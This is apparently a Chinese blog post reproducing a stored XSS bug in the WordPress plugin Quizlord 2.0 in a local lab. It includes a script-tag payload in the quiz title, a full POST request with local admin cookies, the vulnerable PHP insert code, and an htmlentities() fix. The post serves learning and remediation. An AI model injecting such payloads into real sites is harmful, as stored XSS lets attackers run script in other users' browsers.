年后趁着需要做安全测试系统不多的这个空档,学学python到处逛逛复现复现和分析一些简单的漏洞
--from Lyricbao


0x00 复现环境

  1. phpstudy
  2. wordpress 4.4版本
  3. Quizlord 2.0版本

貌似WordPress爆出漏洞的通常基本大多都是它的插件存在安全问题。

0x01步骤

使用phpstudy搭建环境,搭建wordpress,然后登陆进后台去下载Quizlord插件,版本为2.0
一切就绪后就开始看怎么触发的XSS了

3) At the title type: poc"><script>alert(1)</script> , then fill the remaining fields and click Save.

--from exploit-db

XSS注入点:title

【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析

request包

POST /wp4.4/wordpress/wp-admin/admin.php HTTP/1.1
Host: localhost
Content-Length: 184
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/wp4.4/wordpress/wp-admin/admin.php?page=quizlord
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_886edae3e5f5a7a13e41eff06328019c=admin%7C1550369766%7C3jD0iLwbcUNXjhlOr5O8IF6NjPACdraiCJZNLJhvCOW%7C43a2436e074320bb113475ff8e44222065a4454e602d990d36639085856f0dd3; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_886edae3e5f5a7a13e41eff06328019c=admin%7C1550369766%7C3jD0iLwbcUNXjhlOr5O8IF6NjPACdraiCJZNLJhvCOW%7Cf23acf621ce28dbfc8f0baf9abe31370d3fc5674ca575a4ba1029832ca552c62; wp-settings-time-1=1550197219; pgv_pvi=4214545408; Phpstorm-c3dafaf3=cd60577d-e9ad-4825-b2e4-7a109a7e2faf; PHPSESSID=8v8jf1s93dprjgq4bpo29ldsq7
Connection: close

action=ql_insert&title=%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&description=1&time=0&numbtype=numerical&numbmark=1&rightcolor=00FF00&wrongcolor=FF0000&showtype=paginated&addquiz=Save

效果当然是触发啊 代码里一点过滤都没有 这算一个存储型XSS

【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析

0x02漏洞原理分析

知其然要知其所以然,下面我们来看问题出现在哪个环节
进入Quizlord插件目录,找到quizlord.php,打开
出问题的是这段函数 title没有被过滤盒转义就直接写进数据库里面了

function ql_insert_quiz_data(){
    global $wpdb;
    if(!empty($_POST['title'])){
        $ql_title = $_POST['title'];
        $ql_description = $_POST['description'];
        $ql_time = $_POST['time'];
        $ql_rightcolor = "#".$_POST['rightcolor'];
        $ql_wrongcolor = "#".$_POST['wrongcolor'];
        $ql_numbtype = $_POST['numbtype'];
        $ql_numbmark = $_POST['numbmark'];
        $ql_showtype = $_POST['showtype'];

        $ql_random = isset($_POST['random']) ? 1 : 0;
        $ql_skip = isset($_POST['skip']) ? 1 : 0;
        $ql_resume = isset($_POST['resume']) ? 1 : 0;
        $ql_backbtn = isset($_POST['backbtn']) ? 1 : 0;
        $ql_autoload = isset($_POST['autoload']) ? 1 : 0;
        $ql_checkcnt = isset($_POST['checkcnt']) ? 1 : 0;

        $wpdb->insert($wpdb->prefix.'ql_quizzes',
        array(
            'name' => $ql_title,
            'description' => $ql_description,
            'time' => $ql_time,
            'right_color' => $ql_rightcolor,
            'wrong_color' => $ql_wrongcolor,
            'numbering_type' => $ql_numbtype,
            'numbering_mark' => $ql_numbmark,
            'show_type' => $ql_showtype,
            'random' => $ql_random,
            'skip' => $ql_skip,
            'resume' => $ql_resume,
            'autoload' => $ql_autoload,
            'back_button' => $ql_backbtn,
            'check_continue' => $ql_checkcnt
        ));
    }
    wp_redirect($_SERVER['HTTP_REFERER']);
    exit();
}

add_action('admin_action_ql_insert', 'ql_insert_quiz_data');

0x03 漏洞PoC

待写

0x04 漏洞修复

利用htmlentities()函数转义html实体。

刚开始的时候想 我一开始都插入payload进数据库了。不如就在输出的位置做转义吧
于是定位到输出的代码,修改成<?php echo htmlentities($qlq->name); ?>
【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析
输出就变成正常了,无办法触发XSS漏洞。
【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析

如果在输入点进行转义的话,定位的到输入赋值的位置,加入 $ql_title = htmlentities($_POST['title'])即可
【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析

这样的情况最好在输入输出点都做转义,这样就保障得多了
0x05 Reference

https://www.exploit-db.com/exploits/45307 详细的漏洞细节以及复现方法
https://www.freebuf.com/vuls/189814.html 中文版的这哥们也写了